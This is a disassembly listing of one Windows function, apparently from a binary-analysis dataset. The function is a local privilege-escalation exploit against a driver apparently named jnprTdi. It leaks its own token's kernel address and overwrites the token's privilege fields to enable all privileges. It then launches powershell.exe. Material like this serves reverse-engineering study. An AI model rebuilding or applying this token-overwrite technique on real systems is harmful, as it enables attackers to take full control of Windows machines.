Function at 0x140001b20
Capabilities:
Execute command

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str.___Strating_program_n
call fcn.140001230
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x20a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
jne 0x140001b7c
lea rcx, str.malloc_devicePath
call fcn.1400010d0
jmp 0x140001e9d
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x78], r15
cmp ebx, 2
jne 0x140001b91
mov r9, qword [rdi + 8]
jmp 0x140001b98
lea r9, str.jnprTdi_9117_18209
lea r8, str.._ws
mov qword [rsp + 0x70], rsi
mov edx, 0x104
mov rcx, r14
call fcn.1400011d0
xor r15d, r15d
mov qword [rsp + 0x28], r15
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x28]
lea edx, [r15 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rdx, qword [rsp + 0x28]
lea rcx, str.___Current_process_token_address_:_0x_p_n
call fcn.140001230
mov rbp, qword [rsp + 0x28]
lea rcx, str.ntdll
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x140001c0a
lea rcx, str.GetModuleHandle_TEXT__ntdll___
jmp 0x140001d26
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x140001c2e
lea rcx, str.GetProcAddress___failed._n
jmp 0x140001d26
xor edx, edx
lea r9, [rsp + 0x20]
xor r8d, r8d
lea ecx, [rdx + 0x40]
call rsi
nop dword [rax]
mov ebx, dword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x140001d1f
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0x40
call rsi
cmp eax, 0xc0000004
je 0x140001c40
test eax, eax
je 0x140001c92
lea rcx, str.NtQuerySystemInformationDyn_in_GetObjectPointerByHandle
jmp 0x140001d26
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, qword [rdi]
mov ebx, r15d
mov r9d, eax
test rdx, rdx
je 0x140001d2b
lea rcx, [rdi + 0x20]
nop
cmp r9, qword [rcx - 8]
jne 0x140001cbb
cmp rbp, qword [rcx]
je 0x140001ccb
inc ebx
add rcx, 0x28
movsxd rax, ebx
cmp rax, rdx
jb 0x140001cb0
jmp 0x140001d2b
mov r8d, r9d
lea rcx, str.___Successfully_found_handle_for_PID_:__d___0x_x_n
mov edx, r9d
call fcn.140001230
movsxd rax, ebx
lea rcx, [rax + rax*4]
mov rdx, qword [rdi + rcx*8 + 0x18]
lea rbx, [rdi + rcx*8]
lea rcx, str._tHandle_PID:__d_n
call fcn.140001230
mov rdx, qword [rbx + 0x10]
lea rcx, str._tHandleObject_0x_llx_n
call fcn.140001230
mov rdx, qword [rbx + 0x20]
lea rcx, str._tHandle_Value_0x_x_n
call fcn.140001230
mov rbx, qword [rbx + 0x10]
jmp 0x140001d2e
lea rcx, str.____Could_no_allocate_memory__for_pHandleInfo_n
call fcn.1400010d0
mov rbx, r15
mov rdx, rbx
lea rcx, str.___Kernel_pointer_for_the_token_as_PVOID__:_0x_p_n
call fcn.140001230
mov edx, 0x8000
mov ecx, 0x80002018
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, qword [rsp + 0x60]
mov rdi, rax
test rax, rax
jne 0x140001d72
lea rcx, [0x140003968]
jmp 0x140001e8e
mov ecx, 0x200
nop word [rax + rax]
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
lea rax, [rax + 0x40]
mov qword [rax - 0x28], r15
mov qword [rax - 0x20], r15
mov qword [rax - 0x18], r15
mov qword [rax - 0x10], r15
mov qword [rax - 8], r15
sub rcx, 1
jne 0x140001d80
lea rcx, str.___Make_the_process_to_only_run_on_1_CPU_n
call fcn.140001230
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
test eax, eax
jne 0x140001dd9
lea rcx, [0x1400039b8]
jmp 0x140001e8e
lea rcx, str._n___Doing_TOKEN___SEP_TOKEN_PRIVILEGES__Present_n
call fcn.140001230
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e87
lea rcx, [rbx + 0x48]
mov qword [rax], r14
mov qword [rax + 8], rcx
movabs rsi, 0x1ff2ffffbc
mov rcx, rax
mov qword [rax + 0x10], rsi
call fcn.140001500
lea rcx, str._n___Doing_TOKEN___SEP_TOKEN_PRIVILEGES__Enabled_n
call fcn.140001230
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140001e87
lea rcx, [rbx + 0x40]
mov qword [rax], r14
mov qword [rax + 8], rcx
mov rcx, rax
mov qword [rax + 0x10], rsi
call fcn.140001500
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.powershell.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140001e93
lea rcx, str.____payload1__Could_not_allocate_the_HEAP._n
call fcn.1400010d0
mov rsi, qword [rsp + 0x70]
mov r15, qword [rsp + 0x78]
xor eax, eax
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001ed0
add rsp, 0x40
pop r14
pop rdi
pop rbx
ret